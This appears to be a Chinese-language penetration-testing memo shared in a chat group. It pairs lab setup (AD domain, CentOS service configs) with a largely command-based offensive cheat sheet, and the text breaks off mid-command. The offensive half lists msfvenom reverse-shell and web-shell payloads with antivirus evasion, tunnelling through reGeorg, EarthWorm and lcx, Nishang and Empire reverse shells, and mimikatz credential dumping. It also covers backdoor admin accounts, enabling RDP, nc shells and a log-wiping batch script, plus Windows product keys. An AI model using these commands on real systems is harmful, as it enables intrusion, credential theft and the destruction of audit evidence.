20190901晚7点群分享内容–内网渗透备忘录

  • by

把以前记录的知识做了个穿插,技术含量不高,有个目录慢慢填内容

一.目录总览
二.本地windows域环境搭建
三.本地centos7服务环境搭建
四.内网渗透备忘录

一.目录总览

20190901晚间分享总览文档
环境安装篇:
一.centos7安装
二.Centos7安装服务dhcp+dns+samba+ftp+nfs+www
三.windows2012安装域环境以及遇到的一些简单问题

利用篇:
一.windows与linux公共利用(转发(msf、reg、ew);端口扫描;服务发现;漏洞挖掘)
1.msf扫描(端口扫描;服务发现;漏洞挖掘)
2.Msf平台转发与内网渗透
3.Reg转发、ew转发、lck转发
4.简单的免杀处理(veil,msfvenom)
5.浏览器和扫描工具进场
二.Windows利用(获取密码;权限提升;权限维持;漏洞持续挖掘;清理痕迹)
0.
信息收集以及常用命令
1.
Getpassword
mimikatz
msf的hashdump
2.
WindowsExp比对
Powershell的一系列工具(nishang、empire、PowerSploit、PowerTools)
mimikatz
Hook PasswordChangeNotify
利用GPO中的计划任务实现远程执行
DSRM、AdminSDHolder和SDProp
Security Support Provider–ssp
域渗透–导出域密码哈希值的多种方法介绍–NTDS.dit相关
获取AD域中SYSVOL和组策略首选项中的密码
黄金票据
MS14-068域内提权–白银票据
hash传递攻击
3.
超级密码爆破工具
Python脚本的爆破工具
4.清理痕迹


三.Linux利用(权限提升;权限维持;漏洞持续挖掘)
0.
Linux常用命令
1.
版本比对
exp搜索
常见的权限提升方法:
Exp提权
计划任务
Suid
网络隐藏服务
2.(未做)
https://www.cnblogs.com/AtesetEnginner/p/11397184.html
1.预加载型动态链接库后门
2.strace后门
3.ssh后门
4.OpnenSSH后门
5.sshd软链接后门
6.wrapper后门
7.SUID后门
8.inetd服务后门
9.协议后门
10.vim后门
11.PAM后门
12.进程注入
13.Rootkit

二.本地windows域环境搭建

环境安装篇:
centos7安装

Centos7安装图形化:
QAQ:
yum upgrade grub2
yum install fwupdate-efi
yum groupinstall -y "GNOME Desktop"
yum groupinstall "Server with GUI"

第二部分:Centos7安装服务dhcp+dns+samba+ftp+nfs+www

文档中有打包


第三部分:windows2012安装域环境以及遇到的一些简单问题

公司电脑加入AD域有什么用?
https://zhidao.baidu.com/question/2272272611976511628.html

一.镜像下载
二.vm的网络模式设置
三.windows2012 ad域搭建
四.软件必须要管理员才能运行的问题
五.域用户远程连接

一.镜像下载
Windows2008与windows2012镜像下载:
https://msdn.itellyou.cn/ windows 2008
2GVN8-TV3C2-K3YM7-MMRVM-BBFDH
http://www.ddooo.com/softdown/84930.htm#dltab
https://download.microsoft.com/download/F/3/8/F384E78B-8F1D-42A6-A308-63E45060E823/7601.17514.101119-1850_x64fre_server_eval_zh-cn-GRMSXEVAL_CN_DVD.iso
http://www.windows7en.com/longhorn/3785.html
重点:
windows2008密钥:2GVN8-TV3C2-K3YM7-MMRVM-BBFDH
windows2012密钥:MMPXK-NBJDQ-JPM34-WX3FM-G276W

二.vm的网络模式设置
四台主机,一台kali攻击机,两天win ad域,一台centos7

nat模式可以访问主机模式主机
主机模式主机不能访问nat模式
这里域服务(win 2012与win7)和centos7是利用nat模式
kali攻击机利用主机模式

三.windows2012 ad域搭建
8.AD 域服务简介(一)- 基于 LDAP 的 AD 域服务器搭建及其使用
https://www.cnblogs.com/cnjavahome/p/9029665.html
10.Active Directory 渗透测试靶场(一)
https://xz.aliyun.com/t/4081
12.
http://www.it165.net/os/html/201306/5493.html windows2008 搭建ad域
https://jingyan.baidu.com/article/d169e186a68724436611d8f3.html win2008 搭建域控
https://blog.csdn.net/qq_43001579/article/details/84962558 windows2008 域

四.软件必须要管理员才能运行的问题
前提条件是运行phpstudy软件(后来经过一些测试发现,如果是windows认证的发行商,domain user这个组是可以直接执行软件的)
6.【AD】域环境下普通用户权限无法运行程序解决办法
http://www.voidcn.com/article/p-mlntzknh-bt.html

这里可以利用
1.直接将普通用户加入到管理员组(Lusrmgr.msc 本地用户与组)
2.加入power user组 (这里域控制器没有这个组,而测试普通域成员主机win7加入这个组也无用(net localgroup “power users” “TEST\webtest” /add))
Power users这个组和域控制器的server operators权限接近
users 与 power users 权限的相同点与区别(链接整丢,具体搜搜)

五,域用户远程连接
参考:http://www.360doc.com/content/19/0102/14/50391_806025213.shtml

这里要说的,ad域控制器,普通用户是登陆不上去的,打开远程登陆的同时也要有相应的权限,如管理组

三.本地centos7服务环境搭建


dhcp dns samba ftp nfs www服务搭建与测试
一.前期准备:
由于本人重新安装了虚拟机,就从无到有记录一笔
0.安装服务
yum install -y dhcp
yum install -y bind
yum install -y samba
yum install -y vsftpd
yum install -y nfs-utils
yum install -y httpd
安装辅助工具
yum install -y vim
yum install -y lrzsz
安装vm tools(选择安装) https://blog.csdn.net/xtm_rongbing/article/details/8673168
yum install -y bind-utils (dig nslookup)
1.永久关闭selinux

2.关闭firewalld
systemctl stop firewalld 临时关闭
systemctl disable firewalld 开机不启动


3.配置ip
本次实验全部用主机模式vm1网卡(是所有主机都用vm1)


每次更新ip 重启网络 service network restart



二.dhcp
1.配置dhcp
[root@localhost ~]# cat /etc/dhcp/dhcpd.conf
#
# DHCP Server Configuration file.
# see /usr/share/doc/dhcp*/dhcpd.conf.example
# see dhcpd.conf(5) man page
#
default-lease-time 86400;
max-lease-time 259200;

subnet 192.168.1.0 netmask 255.255.255.0{
option routers 192.168.1.101;
range 192.168.1.120 192.168.1.200;
}

2.启动服务
systemctl start dhcpd
3.客户机申请
(1)linux
dhcpclient -x 释放
dhcpclient 获取
(2)windows 自动获取


三.dns
一位小姐姐成功实验的例子
1.传文件

从本机通过xshell传文件到虚拟机,当然也可以安装vm tools

2.备份文件
cp /etc/named.conf /etc/named.conf.bak
3.写配置文件(3个文件)
(记得把named.conf 的126.168.192改一下,小姐姐用的126,这里用的1,测试成功)
[root@localhost ~]# cat /etc/named.conf
//
// named.conf
//
// Provided by Red Hat bind package to configure the ISC BIND named(8) DNS
// server as a caching only nameserver (as a localhost DNS resolver only).
//
// See /usr/share/doc/bind*/sample/ for example named configuration files.
//
// See the BIND Administrator's Reference Manual (ARM) for details about the
// configuration located in /usr/share/doc/bind-{version}/Bv9ARM.html

options {
listen-on port 53 { any; };
listen-on-v6 port 53 { ::1; };
directory "/var/named";
dump-file "/var/named/data/cache_dump.db";
statistics-file "/var/named/data/named_stats.txt";
memstatistics-file "/var/named/data/named_mem_stats.txt";
allow-query { any; };

/*
- If you are building an AUTHORITATIVE DNS server, do NOT enable recursion.
- If you are building a RECURSIVE (caching) DNS server, you need to enable
recursion.
- If your recursive DNS server has a public IP address, you MUST enable access
control to limit queries to your legitimate users. Failing to do so will
cause your server to become part of large scale DNS amplification
attacks. Implementing BCP38 within your network would greatly
reduce such attack surface
*/
recursion yes;

dnssec-enable no;
dnssec-validation no;

/* Path to ISC DLV key */
bindkeys-file "/etc/named.iscdlv.key";

managed-keys-directory "/var/named/dynamic";

pid-file "/run/named/named.pid";
session-keyfile "/run/named/session.key";
};

logging {
channel default_debug {
file "data/named.run";
severity dynamic;
};
};

zone "." IN {
type hint;
file "named.ca";
};

zone "sicnu.edu.cn" IN {
type master;
file "sicnu.zone";
allow-query {
any;
};
};

zone "126.168.192.in-addr.arpa" IN {
type master;
file "126.sicnu";
allow-query {
any;
};
};

include "/etc/named.rfc1912.zones";
include "/etc/named.root.key";


[root@localhost ~]# cat /var/named/126.sicnu
$TTL 86400
@ IN SOA www.sicnu.edu.cn. root.sicnu.edu.cn. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
IN NS www.sicnu.edu.cn.
101 IN PTR www.sicnu.edu.cn
102 IN PTR cs.sicnu.edu.cn

[root@localhost ~]# cat /var/named/sicnu.zone
$TTL 86400
@ IN SOA www.sicnu.edu.cn. root.sicnu.edu.cn. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
IN NS www.sicnu.edu.cn.
www IN A 192.168.126.101
cs IN A 192.168.126.102
sports IN CNAME www


4.启动dns服务
systemctl start named
测试成功
dig -x 192.168.1.101





四.samba
创建测试文件以及用户,以及备份文件
cd ~
mkdir -p /smb/{docs,tech}
cd /smb
touch docs/test_for_all_user
touch tech/test_for_RD
useradd alice -s /bin/nologin
useradd jack -s /bin/nologin
useradd tom -s /bin/nologin
useradd RD -s /bin/nologin
usermod -aG RD alice
usermod -aG RD jack
usermod -aG RD tom
chown nobody:nobody docs
chown RD:RD tech
chmod 755 tech
cd /etc/samba
cp /etc/samba/smb.conf /etc/samba/smb.conf.back




写配置文件
vim /etc/samba/smb.conf
[global]
workgroup=WORKGROUP
server string = My Samba Server
netbios name = MySamba
security = user
map to guest = Bad User
passdb backend = tdbsam
[SHAREDOCS]
path = /smb/docs
public = yes
readonly = yes
browseable=yes
[RDDOCS]
path=/smb/tech
valid users = @RD
write list = @RD
public = no
create mask =0644
directory mask = 0755



smbpasswd -a alice
systemctl start smb
(测试时一定要确定防火墙关了)









五.ftp
创建测试文件
cd ~
mkdir -p /ftp/open
mkdir -o /ftp/private
echo opentest > /ftp/open/open.txt
echo filetest > /tmp/filetest.txt
echo private > /ftp/private/private.txt

备份
cd /etc/vsftpd
cp vsftpd.conf vsftpd.conf.bak

写配置文件
vim /etc/vsftpd/vsftpd.conf (在末尾添加)
anon_root=/ftp/open
guest_enable=YES
guest_username=vftpuser
virtual_usename=vftpuser
virtual_use_local_privs=YES
reverse_lookup_enable=NO
allow_writeable_chroot=YES


写密码
[root@localhost vsftpd]# cat /etc/vsftpd/vftpuser.txt
alice
123456
jack
123456
tom
123456

db_load -T -t hash -f /etc/vsftpd/vftpuser.txt /etc/vsftpd/vftpuser.db
chmod 600 vftpuser.db
rm vftpuser.txt

添加ftp的虚拟用户
useradd -s /sbin/nologin vftpuser
usermod -d /ftp/private vftpuser


使密码生效
[root@localhost vsftpd]# cat /etc/pam.d/vsftpd
#%PAM-1.0
session optional pam_keyinit.so force revoke
#auth required pam_listfile.so item=user sense=deny file=/etc/vsftpd/ftpusers onerr=succeed
#auth required pam_shells.so
#auth include password-auth
#account include password-auth
session required pam_loginuid.so
session include password-auth
auth required pam_userdb.so db=/etc/vsftpd/vftpuser
account required pam_userdb.so db=/etc/vsftpd/vftpuser


2.测试:ftp:192.168.1.101






3.
最后有个根据用户限制权限:
修改 /etc/vsftpd/vsftpd.conf末尾
virtual_use_local_privs=YES 变为 virtual_use_local_privs=NO
添加user_config_dir=/etc/vsftpd

在/etc/vsftpd文件夹下
vim alice
write_enable=YES
anon_world_readable_only=10
anon_upload_enable=NO




六.nfs 具体没有做
写配置文件
vim /etc/exports
/data 192.168.1.101(rw,sync,fsid=0,anonuid=65534,anongid,65534)

创建测试文件
cd ~
mkdir /data
touch /data/nfs-test.file
chmod 777 /data

启动服务
systemctl start rpcbind
systemctl start nfs-server

查看服务是否启动
rpcbind -p
exports

2.从机配置(另一台主机)
查看是否有服务
rpm -qa | grep nfs
若无安装yum install -y nfs-utils
启动bind :systemctl start rpcbind
查看服务机是否存在共享文件
showmount -e 192.168.1.101
本机创建挂载点
mkdir /data_nfs
挂载
mount -t nfs4 192.168.1.101:/ /data_nfs
查看是否挂载成功
df -h



七.www
http://202.115.195.59:11080/1%20%E6%95%99%E5%AD%A6%E8%B5%84%E6%96%99/Linux%E5%BA%94%E7%94%A8%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AE%A1%E7%90%86%E4%B8%8E%E5%BA%94%E7%94%A8_CenOS7/PPT/Crs_CentOS7_11_LAMP.pdf
https://hackycy.github.io/2019/04/29/Apache%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E8%AF%A6%E8%A7%A3/
https://zhuanlan.zhihu.com/p/29833264
https://www.qingsword.com/qing/rhel-16.html
https://www.cnblogs.com/cqmy/p/6208656.html
1.修改网站根目录(即把/var/www/html目录修改为修改/home/test/www
cat /etc/httpd/conf/httpd.conf



如果使用/root 必须给root目录赋予权限(不建议,755权限也不建议),这里使用/home目录,直接改图中三个地方即可,如果出现权限问题403,chmod -R解决

2.做一个个人主页
配置文件在1的基础上
useradd crs
cd /home/crs
mkdir www
echo "This is Crshome page" > /home/crs/www/index.html
chmod 755 /home/crs
chmod 755 /home/crs/www
chown crs:crs /home/crs/www


vim /etc/httpd/conf/httpd.conf 添加
Alias /crs "/home/crs/www"
<Directory "/home/crs/www">
AllowOverrideNone
Options None
Require all granted
</Directory>


3.配置www服务器,实现基于IP的虚拟主机(相同IP,不同端口)
配置文件在2的基础上添加:

Listen 8088
<VirtualHost *:8088>
DocumentRoot "/home/crs/www"
#ServerName www.ibm.com #DNS
</VirtualHost>




4.ip不同,端口相同


nmcli con modify ens33 +ipv4.address 192.168.240.200/24 (前面已经配置了ip,这步可省略)


<Directory "/home/crs/www">
Options Indexes FollowSymLinks
AllowOverride all
Require all granted
</Directory>
<Directory "/home/crs/www_2">
Options Indexes FollowSymLinks
AllowOverride all
Require all granted
</Directory>



<VirtualHost192.168.1.101:80>
DocumentRoot "/home/crs/www"
#ServerName www.ibm.com
</VirtualHost>
<VirtualHost192.168.1.102:80>
DocumentRoot "/home/crs/www_2"
#ServerName www.ibm.com
</VirtualHost>

四.内网渗透备忘录

利用篇:

一.windows与linux公共利用(转发(msf、reg、ew);端口扫描;服务发现;漏洞挖掘)


1.msf扫描(端口扫描;服务发现;漏洞挖掘)
use auxiliary/scanner


2.Msf平台转发与内网渗透
内嵌工具
whois,dig,fierce,nmap,scanner(目录下有各种扫描方式),nessus,nexpose
特定的系统漏洞
客户端漏洞利用和防病毒规避
1.低版本的ie漏洞利用
可制作链接,生成恶意链接,触发shell
2.不安全的ie配置利用
3.office 2007和2010  的rtf漏洞  (这个可以测试下)
4.adobe 8.1.3  创建恶意paf
5.msfpayload  生成shell,现在一般是用msfvenom制作,命令差不多(博主前面也专门写过)
6.规避防护软件,就是免杀,msfencode(博主前面也写过一些)
7.使用killav.rb脚本禁用防病毒软件(比较厉害的功能了)
8.从命令行禁止进程  /F

权限的提升和迁移
1.提升权限:getsystem
2.启动多重通信信道      execute
execute -f notepad.exe -c
execute -f calc.exe -c
3.监听
getdesktop(监听屏幕),keystroke(监听键盘)
4.scraper 脚本
收集信息
winenum.rb   脚本
5.sql和dos模块,http模块

3.Reg转发、ew转发、lck转发

1.EarthWorm使用
 ./ew_for_linux -s rcsocks -l 1080 -e 8888    外网主机
./ew -s rssocks -d 外网vps -e 8888     靶机
socks5    外网vps  1080     攻击机
2.
参考:https://blog.csdn.net/na_tion/article/details/47728121
下载:https://github.com/sensepost/reGeorg
python reGeorgSocksProxy.py -p 2333 -u http://221.6.25.208/tunnel.jsp

其中,最好使用-l参数修改默认的127.0.0.1为0.0.0.0;-p 2333用于指定监听172.18.5.26的2333端口。




 python reGeorgSocksProxy.py -l 0.0.0.0 -p 2333 -u http://221.6.25.208/tunnel.jsp
编辑/etc/proxychains.conf文件,将socks4   127.0.0.1    9050改为:socks5      127.0.0.1     2333

3.lcx
lcx -slave 公网ip  51   127.0.0.1   3389   靶机
把靶机的3389端口数据转发到公网ip上
lcx -listen 51 3333




4.简单的免杀处理(veil,msfvenom)
参考:https://blog.csdn.net/wyf12138/article/details/79825833
1.msfvenom -l encoders   可以查看支持哪些编码 Framework Encoders
2.命令含义
-a <arch> 设置目标的指令集架构,这里我们选择x86即可
–platform <platform> 设置目标平台,这里是windows,可以通过–help-platforms选项查看msfvenom支持的所有平台
-p <payload> 设置攻击载荷,我们使用windows/meterpreter/reverse_tcp,可以通过-l payloads查看所有攻击载荷
-e <encoder> 指定编码器,我会组合使用不同的编码器,可以通过-l encoders查看所有编码器
-i <count> 指定编码迭代的次数
-x <path> 指定模版
-k 该选项可以保留模版原来的功能,将payload作为一个新的线程来注入,但不能保证可以用在所有可执行程序上。
-f <format> 指定生成格式,可以是raw,exe,elf,jar,c语言的,python的,java的……,用–help-formats查看所有支持的格式

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 14 LHOST=192.168.83.129 LPORT=5110 -x notepad.exe -k -f exe > fdesadalc.exe
upx fdesadalc.exe

补充:
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
Web Payloads
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.phpcat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads
Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.
Linux Based Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Windows Based Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Mac Based Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

5.浏览器和扫描工具进场

Proxychains

二.Windows利用(获取密码;权限提升;权限维持;漏洞持续挖掘;清理痕迹)


0.信息收集以及常用命令
cmd /c net user cc abcd1234!@# /add
cmd /c net localgroup Administrators cc /add

cmd /c net user
cmd /c  systeminfo
cmd /c  netstat -an

net user /domain 查看域用户
net view /domain 查看有几个域


Cmd开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

域日志位置:
C:\Windows\System32\winevt\Logs\Security.evtx 服务器登录日志 登录事件ID 4624,可判别出登录域控制器的机器
c:\windows\system32\winevt\logs\*.remote* 远程登录日志
主机远程登录日志
HKCU\Software\Microsoft\Terminal Server Client\Servers
HKCU\Software\Microsoft\Terminal Server Client\Default
自启动位置:
HKEY_CURRENT_USER\Software\Microsoft*\Windows\CurrentVersion*\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
域查询:
C:\Windows\system32>net view /domain#查询域
C:\Windows\system32>net group /domain #查询组
C:\Windows\system32>net user /domain #查询域用户
C:\Windows\system32>net group “domain admins” /domain #查询域管信息
C:\Windows\system32>net group "domain computer" /domain #查询域内机器信息

2.WindowsExp比对
Windows 本地提权漏洞(ms以及对应的kb)
https://github.com/GDSSecurity/Windows-Exploit-Suggester
https://github.com/SecWiki/windows-kernel-exploits
https://www.cnblogs.com/sec875/p/10424746.html

微软 windows安全公告 只到2017
https://docs.microsoft.com/en-us/security-updates/securitybulletins/securitybulletins
http://download.microsoft.com/download/6/7/3/673E4349-1CA5-40B9-8879-095C72D5B49D/BulletinSearch.xlsx


3.Powershell的一系列工具(nishang、empire、PowerSploit、PowerTools)
2.1Nishang:
安装:http://www.4hou.com/technology/5962.html
Get-ExecutionPolicy
Set-ExecutionPolicy remotesigned
import-module ./nishang.psml

使用:
http://www.sohu.com/a/251791472_609556
渗透神器Nishang
http://www.4hou.com/technology/5962.html https://www.cnblogs.com/bonelee/p/8258440.html 测试的话建议windows2008 现在服务器windows2008居多 类似msf的框架,powershell是windows自带的,所以是渗透的一个突破口 目前用的上的命令 Check-VM Get-Information Invoke-Mimikatz Get-PassHashes Get-PassHints 获取用户的密码提示信息 nc -lvp 3333 Invoke-PowerShellTcp -Reverse -IPAddress 192.168.12.110 -Port 3333 Invoke-PowerShellTcp -Bind -Port 3333 nc -nv 192.168.12.103 3333 Antak-WebShell Invoke-PsUACme Remove-Update Invoke-PortScan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 -ResolveHost Invoke-BruteForce 在靶机上执行:Invoke-Interceptor -ProxyServer 192.168.250.172 -ProxyPort 9999 监听机器上执行:netcat -lvvp 9999 靶机:Show-TargetScreen -Reverse -IPAddress 192.168.250.172 -Port 3333 攻击机:netcat -nlvp 3333 | netcat -nlvp 9999 之后访问攻击机器的9999端口,就可以窃取到屏幕了 2.2Empire: 真的有效率和运气之说 昨晚就可以做出来的,硬是对着几篇网上文章发呆,运气是半天也没有想到http监听端口个人测试必须是80,个人监听其他的端口,比如8100,Empire工具list命令查看还是显示的80端口,本地看了8100又是在监听状态 一.安装 二.本地简单反弹shell使用 三.宏反弹使用(未本地测试) 四.msf、Empire联动使用(未本地测试) 参考: https://blog.csdn.net/weixin_33688840/article/details/94275885 *** https://cloud.tencent.com/developer/article/1097791 http://www.myh0st.cn/index.php/archives/193/ https://www.anquanke.com/post/id/87328 https://xz.aliyun.com/t/67 一.安装 git clone https://github.com/EmpireProject/Empire.git cd /Empire/setup ./install.sh ./reset.sh 启动(出问题直接重启就行) 运行:./empire 可以看到它包含三个部分: 一个是modules即自身的一些模块 一个是listernes即监听,类似msf的exploit/multi/handler模块 一个是agents即已经链接上的会话,类似msf所存的session 二.本地简单反弹shell使用 (Empire) > listeners [!] No listeners currently active (Empire: listeners) > uselistener http (Empire: listeners/http) > set Name test (Empire: listeners/http) > set Host http://192.168.132.131 (Empire: listeners/http) > set Port 8000 (Empire: listeners/http) > execute [*] Starting listener 'test' * Serving Flask app "http" (lazy loading) * Environment: production WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Debug mode: off [+] Listener successfully started! (Empire: listeners/http) > back (Empire: listeners) > launcher powershell test (Empire: listeners) > agents [*] Active agents: Name La Internal IP Machine Name Username Process PID Delay Last Seen ---- -- ----------- ------------ -------- ------- --- ----- --------- ZRYKX53T ps 192.168.132.129 ROOT-PC *root-PC\Administrator powershell 1532 5/0.0 2019-09-01 12:30:16 (Empire: agents) > re remove rename resource (Empire: agents) > re remove rename resource (Empire: agents) > re remove rename resource (Empire: agents) > rename ZRYKX53T test128 (Empire: agents) > interact test128 (Empire: test128) > agents download jobs lostlimit rename scriptimport spawn upload back exit kill main resource searchmodule steal_token usemodule bypassuac help killdate mimikatz revtoself shell sysinfo workinghours clear info list psinject sc shinject updatecomms creds injectshellcode listeners pth scriptcmd sleep updateprofile (Empire: test128) > mimikatz 这个过程大概会等待10来秒才有结果 三.宏反弹使用(未本地测试) (Empire: listeners) > usestager windows/macro 2.3PowerSploit 看PowerSploit更新是3、4年前的,没什么说的,就知道有这么回事就行了 脚本下载: https://github.com/PowerShellMafia/PowerSploit 参考: https://xz.aliyun.com/t/263 https://blog.csdn.net/a1453514850/article/details/88084702 https://www.cnblogs.com/yuzly/p/10505365.html https://www.freebuf.com/sectool/131275.html 2.4PowerTools 下载: https://github.com/cheetz/PowerTools 参考: https://www.anquanke.com/post/id/92646(前第一部分) 2.5mimikatz getpassword 下载 http://www.zhaodll.com/dll/g/201502/335308.html mimikatz下载: https://github.com/gentilkiwi/mimikatz https://dl.pconline.com.cn/download/615028.html 神器mimikatz使用命令方法总结参考:https://www.cnblogs.com/pursuitofacm/p/6704219.html?utm_source=itdadao&utm_medium=referral privilege::debug-----------------提升权限 sekurlsa::logonpasswords 得到hash 密码 cls-----------------------------清屏 exit----------------------------退出 version------------查看mimikatz的版本 system::user-----查看当前登录的系统用户 system::computer-------查看计算机名称 process::list------------------列出进程 process::suspend 进程名称 -----暂停进程 process::stop 进程名称---------结束进程 process::modules --列出系统的核心模块及所在位置 service::list---------------列出系统的服务 service::remove-----------移除系统的服务 service::start stop 服务名称--启动或停止服务 privilege::list---------------列出权限列表 privilege::enable--------激活一个或多个权限 privilege::debug-----------------提升权限 nogpo::cmd------------打开系统的cmd.exe nogpo::regedit -----------打开系统的注册表 nogpo::taskmgr-------------打开任务管理器 ts::sessions-----------------显示当前的会话 ts::processes------显示进程和对应的pid情况等 sekurlsa::wdigest-----获取本地用户信息及密码 sekurlsa::tspkg------获取tspkg用户信息及密码 sekurlsa::logonPasswords--获登陆用户信息及密码 2.6 Hook PasswordChangeNotify 利用GPO中的计划任务实现远程执行 DSRM、AdminSDHolder和SDProp Security Support Provider–ssp 域渗透–导出域密码哈希值的多种方法介绍–NTDS.dit相关 获取AD域中SYSVOL和组策略首选项中的密码 黄金票据 MS14-068域内提权–白银票据 hash传递攻击 二.windows提权 由于是测试,所以删掉了所有账号,虚拟机只留了一个原始账号,这样就不用去管权限问题了 1. 开始以为是权限问题,导致sqlmap的os-shell不能执行,所以用自己的虚拟机试了下,也是那段字符,还要再看看。 2. mysql提权,用的网上的大马,执行前要安装dll文件,失败,暂不清楚为什么 网站配置文件一般都有配置文件,所以连接数据库要的密码什么就不成问题了 3. 如果本身就是管理员权限,可以直接提升原先低权限账号或者创建新账号: 1 net user guest /active:yes 2 net user guest hack 3 net localgroup administrators guest /add 不是的话,就有点蛋疼了,因为我用网上大马测试的时候,开始不是管理员的时候,会写入不了增加用户命令,其他的命令都可以执行 4. Churrasco.exe是Windows2003系统下的一个本地提权漏洞,通过此工具可以以SYSTEM权限执行命令,从而可以达到添加用户的目的。(Churrasco.exe “net user admin1 admin1 /add && net localgroup administrators admin1 /add”) 5. pr.exe 提权Windows跟踪注册表项的ACL权限提升漏洞(pr.exe “gets.exe $local”,pr.exe “net user admin1 admin1 /add & net localgroup administrators admin /add”) 7. PS:Serv-U 默认帐号密码(如果看到特定端口的话) 用户名: LocalAdministrator 口 令: #l@$ak#.lk;0@P 8. 这个时候就上传什么破解账号hash的执行程序(还没有操作,待补),然后3389或者telnet连上去执行命令 3389(待补) 9. nc+cmd提权(原理不是很清楚) 需要将以上两个exe程序上传到对方服务器的可写目录下 nc用法:nc.exe -l -p 你要打开的本地端口(比如8000) -t -e -l 监听本地入栈信息 -p port 打开本地端口 -t 以telnet形式应答入栈请求 -e 程序重定向 大马中执行命令C:\xx\nc.exe -l -p 8000 -t -e C:\xx\cmd.exe 会发现虚拟机阻止了nc,仅仅是防火墙就阻止了nc。。。(思路是先怎样怎样关闭防火墙,或者之类的) 然后telnet ip 8000 连接 (本机没有telnet,暂时没有连,但是虚拟机中8000端口确实打开了) 第二种 1)上传NC和CMD传到站点目录下 2)本地执行nc -vv -lp 52进行反弹 3)在shell命令下执行 nc.exe -e cmd上传路径 IP(外网IP) 52(这里是本机端口) 界面再次反应半天(可能是命令哪出错了) 10. 还有特定漏洞,特定的exp(思路待补) 总结: 都是在极其理想环境下,最高权限之类,知道绝对路径,防火墙关掉,没有杀毒软件等等。。。但是也是必须了解的。感觉管理员配好了权限,特别难操作。 2.7windows痕迹清理 参考: https://www.cnblogs.com/milantgh/p/3602191.html (还可以) http://www.91ri.org/5058.html http://www.91ri.org/2234.html (3389清除) http://www.91ri.org/3626.html 还可以 https://jingyan.baidu.com/article/3c48dd34503c50e10be35897.html Windows的日志文件通常有应用程序日志,安全日志、系统日志、DNS服务器日志、FTP日志、WWW日志等等。这些都可在事件查看器中直接删除 Unlocker1解除占用 1.写批处理延时删除,自毁。 2.bat删除(会有进程占用,没有也暂时不深入研究) cmd /c dir:是执行完dir命令后关闭命令窗口; cmd /k dir:是执行完dir命令后不关闭命令窗口。 审核和system日志清除会被记录 https://blog.csdn.net/zmken497300/article/details/51814817 bat语法 https://www.jb51.net/article/10845.htm 参照脚本之家 @echo off @del /s /q C:\Windows\System32\logfiles\*.* @del /s /q C:\Windows\System32\config\*.evt @del /s /q C:\Windows\System32\dtclog\*.* @del /s /q C:\Windows\System32\*.log @del /s /q C:\Windows\System32\*.txt @del /s /q C:\Windows\*.txt @del /s /q C:\Windows\*.log @del /s /q del.bat exit :: del 语句 :: del /s /q *.* :: rd 语句 :: rd /s /q 123 :: del 语句的使用, 删除的对象只能是文件, 不包含文件夹 :: rd 语句的使用, 删除的对象只能的文件夹, 不包含文件 三.Linux利用(权限提升;权限维持;漏洞持续挖掘) 0.Linux常用命令 cat /etc/issue uname -a id who whoami cat /etc/passwd cat /etc/group cat /etc/shadow cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bash_logout env set arp -e route /sbin/route -nee ls -ahlR /root/ ls -ahlR /home/ cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history cat ~/.bashrc cat ~/.profile cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat 